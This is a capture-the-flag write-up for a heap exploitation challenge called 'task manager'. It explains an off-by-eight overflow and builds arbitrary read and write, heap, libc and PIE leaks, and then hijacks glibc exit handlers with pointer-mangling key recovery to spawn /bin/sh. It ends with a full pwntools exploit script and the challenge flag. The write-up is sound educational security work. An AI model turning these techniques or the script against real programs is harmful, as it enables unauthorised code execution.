// struct for Tasks typedef struct Tasks { char task[80]; struct Tasks* next; } Tasks;
I did an initial scan for vulnerabilities, and came across the
blatant OOB write in create_tasks:
// Enter info for new task printf("Enter task (max. 80 characters): "); read(0, temp->task, 88);
Cool, so I could overwrite the next field in a
Tasks but what did that mean? Well, dynamic analysis
answers all questions quickly.
I wrote the skeleton of a pwntools interaction
script which I'll refer back to when describing certain
interactions. Below were the interfaces:
def add_task(task): ... def print_task(): ... def delete_task(): ... def add_reminder(reminder): ... def exit_task(): ...
I set the next pointer to 0xdeadbeef, created a new
task, tried to write to it, and sure enough got a segfault on that
address:
add_task(b"A" * 80 + p64(0xdeadbeef)) add_task(b"B" * 80) # segfault!
The program was trying to write to 0xdeadbeef! I
took another look at create_tasks to understand this
statically:
// Creates new task inline __attribute__((always_inline)) void create_tasks(Tasks** tasks) { Tasks* temp = NULL; // If no tasks exist, create Tasks struct if (*tasks == NULL) { *tasks = malloc(sizeof(Tasks)); temp = *tasks; temp->next = malloc(sizeof(Tasks)); } // Otherwise, create next task else { temp = *tasks; for (unsigned long long i = 1; i <= size; ++i) { temp = temp->next; } temp->next = malloc(sizeof(Tasks)); } // Enter info for new task printf("Enter task (max. 80 characters): "); read(0, temp->task, 88); printf("Task you entered: %s\n", temp->task); }
The program was a bit funky with how it created tasks: it allocated the next task before it was actually needed. When you created a task, you didn't allocate memory for that task (unless it was the first task) but for the task after it. And since you could overwrite the next pointer, when it came time to create a new task and the function traversed the linked list to the end, it used the next pointer you controlled as a task pointer. Therefore, I had an arbitrary write as I could create a task at an arbitrary address.
Controlling the next pointer also allowed for an
arbitrary read. If you set the next pointer to a
desired address offset by by -80 bytes, you would align the
task field with the desired address. Basically you're
saying that the Task at the next pointer
is 80 bytes behind where it should so that the task
field lines up with your desired address. If you then called
print_tasks, you would read from the task
field which is now at that desired address.
For example, the interaction below would read from
0xdeadbeef:
addr = 0xdeadbeef add_task(b"A" * 80 + p64(addr - 80)) print_task()
But at this point I was blind regarding the memory layout, I had no idea where things were, I needed an initial leak to bootstrap myself.
Another issue with task creation was that it didn't
NULL terminate the input. Therefore, you could
continue reading past the task buffer and read the
next pointer! All you had to do was enter exactly 80
bytes:
add_task(b"A" * 80) print_task()
Looking in pwndbg you can see how the
task buffer which begins at
0x55555555b300 is flush with the next
pointer at 0x55555555b350:
pwndbg> x/24a 0x55555555b2f0 0x55555555b2f0: 0x0 0x61 0x55555555b300: 0x4141414141414141 0x4141414141414141 0x55555555b310: 0x4141414141414141 0x4141414141414141 0x55555555b320: 0x4141414141414141 0x4141414141414141 0x55555555b330: 0x4141414141414141 0x4141414141414141 0x55555555b340: 0x4141414141414141 0x4141414141414141 0x55555555b350: 0x55555555b360 0x61 0x55555555b360: 0x0 0x0 0x55555555b370: 0x0 0x0 0x55555555b380: 0x0 0x0 0x55555555b390: 0x0 0x0 0x55555555b3a0: 0x0 0x0
From a next pointer leak, I could calculate the
heap base since heap allocations are always at a constant offset
from the heap base.
First I had to view the process's memory map:
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x555555554000 0x555555555000 r--p 1000 0 task-manager_patched 0x555555555000 0x555555556000 r-xp 1000 1000 task-manager_patched 0x555555556000 0x555555557000 r--p 1000 2000 task-manager_patched 0x555555557000 0x555555558000 r--p 1000 2000 task-manager_patched 0x555555558000 0x55555555b000 rw-p 3000 3000 task-manager_patched 0x55555555b000 0x55555557c000 rw-p 21000 0 [heap] 0x7ffff7ddb000 0x7ffff7dde000 rw-p 3000 0 [anon_7ffff7ddb] 0x7ffff7dde000 0x7ffff7e04000 r--p 26000 0 libc.so.6 0x7ffff7e04000 0x7ffff7f5a000 r-xp 156000 26000 libc.so.6 0x7ffff7f5a000 0x7ffff7fad000 r--p 53000 17c000 libc.so.6 0x7ffff7fad000 0x7ffff7fb1000 r--p 4000 1cf000 libc.so.6 0x7ffff7fb1000 0x7ffff7fb3000 rw-p 2000 1d3000 libc.so.6 0x7ffff7fb3000 0x7ffff7fc2000 rw-p f000 0 [anon_7ffff7fb3] 0x7ffff7fc2000 0x7ffff7fc6000 r--p 4000 0 [vvar] 0x7ffff7fc6000 0x7ffff7fc8000 r--p 2000 0 [vvar_vclock] 0x7ffff7fc8000 0x7ffff7fca000 r-xp 2000 0 [vdso] 0x7ffff7fca000 0x7ffff7fcb000 r--p 1000 0 ld-linux-x86-64.so.2 0x7ffff7fcb000 0x7ffff7ff1000 r-xp 26000 1000 ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 27000 ld-linux-x86-64.so.2 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 31000 ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 33000 ld-linux-x86-64.so.2 0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
The heap base was at 0x55555555b000 and the leak
was at 0x55555555b360. So the heap base was always
0x360 bytes before the leak.
So I had a heap leak, but that's still wasn't a good enough leak. I needed a libc leak too.
I knew that one way to get a libc leak from the heap was to free
a chunk that would get placed in the unsorted bin which would place
some libc pointers in its header. Only chunks larger than a certain
size get placed in the unsorted bin. Based on what I'd seen,
0x420 was a safe lower bound.
There were a couple of ways I could do this. I decided to just overwrite the second task's chunk header. With the heap leak, I knew where allocations would be placed under normal conditions so I knew exactly where to write.
However, I had to be a bit careful where to set the next pointer to overwrite the second task's header since wherever I set the next pointer, a task would be created there and then a few bytes later, that task's next pointer would be written. I decided to overwrite the next pointer to point a bit inside the first task and then write down into the second task's header making sure to preserve it's next pointer.
Here was the interaction I used to overwrite the second task's chunk header:
add_task(b"B" * 80 + p64(task_2 - 0x50)) add_task(b"C" * 64 + p64(task_2) + p64(0x420 | 1) + p64(task_2 + 0x410))
And the resulting heap looked like:
pwndbg> x/36a 0x55555555b2f0 0x55555555b2f0: 0x0 0x61 0x55555555b300: 0x4141414141414141 0x4141414141414141 0x55555555b310: 0x4343434343434343 0x4343434343434343 0x55555555b320: 0x4343434343434343 0x4343434343434343 0x55555555b330: 0x4343434343434343 0x4343434343434343 0x55555555b340: 0x4343434343434343 0x4343434343434343 0x55555555b350: 0x55555555b360 0x421 0x55555555b360: 0x55555555b770 0x4242424242424242 0x55555555b370: 0x4242424242424242 0x4242424242424242 0x55555555b380: 0x4242424242424242 0x4242424242424242 0x55555555b390: 0x4242424242424242 0x4242424242424242 0x55555555b3a0: 0x4242424242424242 0x4242424242424242 0x55555555b3b0: 0x55555555b310 0x61 0x55555555b3c0: 0x0 0x0 0x55555555b3d0: 0x0 0x0 0x55555555b3e0: 0x0 0x0 0x55555555b3f0: 0x0 0x0 0x55555555b400: 0x0 0x0
I set the next pointer of the third task to 0x410
bytes after the second task so I could write two additional fake
chunks after it. The additional chunks were required because in the
free code path, a look ahead is performed to determine
if the next chunk should be coalesced.
Here was the interaction to create the fake chunks after:
add_task((b"D" * 8 + p64(0x20 | 1) + b"E" * 0x18 + p64(0x20 | 1)).ljust(80, b"G") + p64(task_2))
And resulting heap looked like:
pwndbg> x/12a 0x55555555b770 0x55555555b770: 0x4444444444444444 0x21 0x55555555b780: 0x4545454545454545 0x4545454545454545 0x55555555b790: 0x4545454545454545 0x21 0x55555555b7a0: 0x4646464646464646 0x4646464646464646 0x55555555b7b0: 0x4646464646464646 0x4646464646464646 0x55555555b7c0: 0x55555555b360 0x0
I set the next pointer to point back to the second
task (the one with the header I overwrote) so the program thought
it was the last task on the linked list and I could free it. So
after I freed the second task, I expected it to be placed in the
unsorted bin, and for there to be a libc leak inside it.
I verified that the chunk was indeed placed in the unsorted bin:
pwndbg> bins tcachebins empty fastbins empty unsortedbin all: 0x55555555b350 —▸ 0x7ffff7fb1cc0 ◂— 0x55555555b350 smallbins empty largebins empty
Then I had a look at the libc leaks on the heap:
pwndbg> x/36a 0x55555555b2f0 0x55555555b2f0: 0x0 0x61 0x55555555b300: 0x4141414141414141 0x4141414141414141 0x55555555b310: 0x4343434343434343 0x4343434343434343 0x55555555b320: 0x4343434343434343 0x4343434343434343 0x55555555b330: 0x4343434343434343 0x4343434343434343 0x55555555b340: 0x4343434343434343 0x4343434343434343 0x55555555b350: 0x55555555b360 0x421 0x55555555b360: 0x7ffff7fb1cc0 0x7ffff7fb1cc0 0x55555555b370: 0x0 0x0 0x55555555b380: 0x4242424242424242 0x4242424242424242 0x55555555b390: 0x4242424242424242 0x4242424242424242 0x55555555b3a0: 0x4242424242424242 0x4242424242424242 0x55555555b3b0: 0x55555555b310 0x61 0x55555555b3c0: 0x0 0x0 0x55555555b3d0: 0x0 0x0 0x55555555b3e0: 0x0 0x0 0x55555555b3f0: 0x0 0x0 0x55555555b400: 0x0 0x0
Nice, there were now pointers to libc, the leaks I needed,
inside the second chunk. I didn't have to do anything special to
read the leaks as they ended up in the second task's
tasks field and all I had to do was call
print_task. At this point the tasks linked list was in
the order: 0x55555555b300,
0x55555555b360, 0x55555555b310. However,
notice how the libc leak overwrote the next pointer of the third
task, that was fine though as luckily it was in writable
memory.
It was at this point that I encountered my first problem. After
freeing the chunk, I wasn't able to subsequently create more than
one task. If I tried to create more, the program would segfault. It
turned out that malloc was trying to split the fake
chunk that was in the unsorted bin to fulfill the allocation. But
as you could expect, the chunk's metadata was all over the
place!
I got stuck here for a bit. This was where understanding malloc internals better would've helped. Eventually I found the answer. While I couldn't stop the fake chunk from being split, I could delay it. The idea was to allocate and free a pool of tasks early on. That way, I'd have a series of chunks of the correct size in tcache and some bins. And then when I tried to allocate after freeing the fake chunk, malloc wouldn't even look at it, it'd just reallocate the chunks I freed earlier.
Concretely, using this interaction before leaking libc solved the issue:
for i in range(16): add_task(b"X" * 80) for i in range(16): delete_task()
To achieve code execution, my plan was to overwrite glibc exit handlers. This was the most fiddly part. I had only done it once before in another heap exploitation challenge using this amazing writeup as reference. glibc's exit handling mechanism requires a bit of work to exploit, but this blog post is very informative.
glibc stores a list of exit handlers which get registered with
atexit and on_exit and called when the
program exits. exit will call
__run_exit_handlers which receives a struct
exit_function_list** argument.
A struct exit_function_list contains a
fns field of type struct
exit_function[32]:
struct exit_function_list { struct exit_function_list *next; size_t idx; struct exit_function fns[32]; };
It's in a struct exit_function where an exit
handler function pointer is stored:
struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */ long int flavor; union { void (*at) (void); struct { void (*fn) (int status, void *arg); void *arg; } on; struct { void (*fn) (void *arg, int status); void *arg; void *dso_handle; } cxa; } func; };
Here's the enum that the comment referenced:
enum { ef_free, /* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa };
The enum dictates the type of exit function. For exploitation,
the cxa flavor is most useful as it allows for an
argument to get passed in, this makes it ideal for calling
system.
However, glibc implements pointer
encryption to make it hard to manipulate the function pointers
in a struct exit_function.
Below is literally all it is:
def encrypt(x, key): return rol(x ^ key, 0x11) def decrypt(x, key): return ror(x, 0x11) ^ key
The only way to defeat pointer encryption is to know the key.
Luckily, the first exit function is always the same, it's the
function _dl_fini which exists in the dynamic linker.
Therefore, if you can read it, you can easily solve for the
key:
key = ror(dl_fini_enc, 0x11) ^ dl_fini
I first had to find a few addresses: the dynamic linker base,
_dl_fini address, struct
exit_function_list** argument address, and the
_dl_fini encrypted function pointer address. All of
these addresses can be expressed relative to the libc base. The
dynamic linker is always loaded after libc at some fixed offset,
_dl_fini sits somewhere in the dynamic linker, and the
struct exit_function_list** argument and
_dl_fini encrypted function pointer are somewhere in
libc.
The process's memory map revealed that the dynamic linker base
was 0x1ec000 bytes from the libc base, a trip to
Ghidra revealed that the struct exit_function_list**
was 0x1d3820 bytes from the libc base, and
dereferencing that address in pwndbg revealed that the
encrypted _dl_fini function pointer was
0x2f8 bytes from the libc base.
The _dl_fini symbol isn't exported from the dynamic
linker. The traditional way to find it is to read it from the exit
handler function pointer after it's been decrypted. But for some
reason my GDB watchpoint never hit, so I just used a placeholder
offset from the dynamic linker for the time being. I could always
find it later.
The next step was to leak the encrypted _dl_fini
function pointer. This was trivial as I already knew where it was
relative to libc. If you recall, the last next pointer
was somewhere in writable libc memory, I took a look around, and it
seemed like there were a bunch of important pointers there. Just to
be safe, I made to preserve as many as I could.
The following interaction leaked the encrypted
_dl_fini pointer while preserving what was there:
add_task(flat([heap_base + 0x530, 0, heap_base + 0x350, heap_base + 0x250, libc.address + 0x1d3cd0, libc.address + 0x1d3cd0, libc.address + 0x1d3ce0, libc.address + 0x1d3ce0, libc.address + 0x1d3cf0, libc.address + 0x1d3cf0, _dl_fini_enc_addr - 0x8]) add_task(b"A" * 0x8) print_task()
With the encrypted _dl_fini pointer, I then
calculated the encryption key. The next step was to craft a fake
struct exit_function_list in a task and overwrite the
existing one to point to it. The exit function list I crafted had
one struct exit_function which called
system with /bin/sh as the argument.
The following interaction crafted that struct
exit_function_list and set the next pointer to
the address of the real one.
exit_fn_list = flat([0, 1, 4, encrypt(libc.sym.system, key), next(libc.search(b"/bin/sh")), 0]) add_task(t, exit_fn_list.ljust(80, b"H") + p64(exit_fn_list_arg_addr))
It was then just a matter of overriding the real struct
exit_function_list pointer with the address of the one I
just created. I used pwndbg to determine it's offset
relative to the heap base.
Once I'd overwritten the exit handlers, the way to call them,
was to call exit, or in my case, just return from the
program so it could give control back to glibc which could then
call exit. But there was one problem: the return code
path required freeing each chunk in the linked list, but due to the
next pointer corruption, I didn't have proper chunk headers where
they were supposed to be and free would crash.
The number of tasks that got freed was determined by the
size global variable. This was the one thing that
didn't allow the program to return cleanly. If I could set it to 0,
then I wouldn't have to worry about freeing any tasks. It was in
writable memory, however I didn't have a program address leak so I
didn't know where it was.
I had a heap and libc leak, but didn't think it was possible to
leak the program address as well. But I completely forgot about the
linker leak I had! It turns out that the dynamic linker knows about
the complete memory map of a program (who would've thought?) and
stores this information in a linkmap structure. If I could read
from the linkmap structure I could leak the program base.
pwndbg has a nice linkmap command which
displays where in memory each entry is located. All I had to do was
get the program address entry as an offset from the dynamic linker
address.
Here was the output of the linkmap command in
pwndbg:
pwndbg> linkmap Node Objfile Load Bias Dynamic Segment 0x7ffff7ffe2e0 <Unknown, likely /home/jeremy/ctf/tamu/2026/pwn/task_manager/task-manager_patched> 0x555555554000 0x55555555a128 0x7ffff7ffe8b0 linux-vdso.so.1 0x7ffff7fc8000 0x7ffff7fc8438 0x7ffff7fc0270 /home/jeremy/ctf/tamu/2026/pwn/task_manager/libc.so.6 0x7ffff7dde000 0x7ffff7fb0b60 0x7ffff7ffdad0 /home/jeremy/ctf/tamu/2026/pwn/task_manager/ld-linux-x86-64.so.2 0x7ffff7fca000 0x7ffff7ffce40
I wasted no time to again use the arbitrary read and write
primitives to leak the program address and then write
0xffffffffffffffff to size so that it
would overflow to 0. I exited the program and...
segfault. It broke my heart.
There was some good news though: at least I was actually in the
exit handler now. The segfault was a result of the placeholder
_dl_fini address I was using. It was time to find the
real address.
I mentioned that I had solved a similar challenge before where I
overwrote exit handlers. I used the address of that challenge's
_dl_fini address as an initial base and then brute
forced functions near that address in Ghidra. I eventually found it
a few functions below. Kind of cursed, but hey it worked. Seeing
the program fork into /bin/sh was the greatest
feeling. But I still had to solve it on the remote instance...
My exploit didn't work on the remote instance the first try. I
was segfaulting when I tried to read from the linkmap. I knew from
that previous challenge that the dynamic linker offset from libc is
system dependent. On my system it was 0x15000 bytes.
However, after brute forcing the offset on the remote instance in
page size increments, I learned that the offset was
0x19000 bytes.
At long last I had solved the challenge, and as a token of my
effort I received the flag:
gigem{f4s7b1N5_0f_5p141t_hAuN7_8s_d1A593c6CeF}.
Based on the flag, I don't think I solved the challenge the intended way. Also after the competition, I learned that there was a convenient stack leak on the heap... But nonetheless, I had fun solving it this roundabout way.
Below was my final exploit:
#!/usr/bin/env python3 from pwn import * context.binary = "./task-manager_patched" libc = context.binary.libc ADD_TASK = 1 PRINT_TASK = 2 DELETE_TASK = 3 ADD_REMINDER = 4 EXIT_TASK = 5 PROMPT = b"Enter your input: " def encrypt(x, k): return rol(x ^ k, 0x11) def decrypt(x, k): return ror(x, 0x11) ^ k def add_task(t, task): prompt = b"Enter task (max. 80 characters): " t.sendlineafter(PROMPT, str(ADD_TASK).encode()) t.sendafter(prompt, task) def print_task(t): t.sendlineafter(PROMPT, str(PRINT_TASK).encode()) def delete_task(t): t.sendlineafter(PROMPT, str(DELETE_TASK).encode()) def add_reminder(t, reminder): t.sendlineafter(PROMPT, str(ADD_REMINDER).encode()) t.sendlineafter(b"Enter reminder (max. 72 characters): ", reminder) def exit_task(t): t.sendlineafter(PROMPT, str(EXIT_TASK).encode()) def main(): t = process(context.binary.path) t.sendlineafter(b"Enter your name (max. 40 characters): ", b""); add_task(t, b"A" * 80) # task 1 print_task(t) # Leak heap base. t.recvuntil(b"Task #1: ") t.recvuntil(b"A" * 80) # read task 1 task_2 = u64(t.recvline(False).ljust(8, b"\x00")) task_1 = task_2 - 0x60 heap_base = task_2 - 0x360 for i in range(16): add_task(t, b"X" * 80) for i in range(16): delete_task(t) # Leak libc base. add_task(t, b"B" * 80 + p64(task_2 - 0x50)) add_task(t, b"C" * 64 + p64(task_2) + p64(0x420 | 1) + p64(task_2 + 0x410)) add_task(t, (b"D" * 8 + p64(0x20 | 1) + b"E" * 0x18 + p64(0x20 | 1)).ljust(80, b"F") + p64(task_2)) delete_task(t) print_task(t) t.recvuntil(b"Task #2: ") libc_leak = u64(t.recvline(False).ljust(8, b"\x00")) libc.address = libc_leak - 0x1d3cc0 # Leak `_dl_fini` exit function. exit_fn_list_arg_addr = libc.address + 0x1d3820 dl_fini_enc = libc.address + 0x1d52f8 libc_end_addr = libc.address + 0x1d5000 ld_addr = libc_end_addr + 0x17000 # NOTE: This offset is system dependent! dl_fini_addr = ld_addr + 0x004680 p = flat([ heap_base + 1328, 0, heap_base + 848, heap_base + 848, libc.address + 1916112, libc.address + 1916112, libc.address + 1916128, libc.address + 1916128, libc.address + 1916144, libc.address + 1916144, dl_fini_enc - 8 ]) add_task(t, p) add_task(t, b"A" * 8) print_task(t) t.recvuntil(b"Task #5: ") t.recvuntil(b"A" * 8) dl_fini_enc = u64(t.recvline(False).ljust(8, b"\x00")) # Recover pointer encryption key. key = ror(dl_fini_enc, 0x11) ^ dl_fini_addr # Replace the exit function list with a fake one. exit_fn_list = flat([ 0, 1, 4, encrypt(libc.sym.system, key), next(libc.search(b"/bin/sh")), 0 ]) add_task(t, exit_fn_list.ljust(80, b"H") + p64(exit_fn_list_arg_addr)) exit_function_list_task_addr = task_2 + 0x540 # Leak program base. link_map = ld_addr + 0x342e0 add_task(t, p64(exit_function_list_task_addr).ljust(80) + p64(link_map)) add_task(t, b"A") print_task(t) t.recvuntil(b"Task #8: ") t.recvuntil(b"A") pie = u64(t.recvline(False).ljust(8, b"\x00")) << 8 context.binary.address = pie # Overwrite `size` with -1. add_task(t, b"A" * 80 + p64(context.binary.sym.size)) add_task(t, p64(0xffffffffffffffff) * 2) # Call fake exit function. exit_task(t) t.interactive() if __name__ == "__main__": main()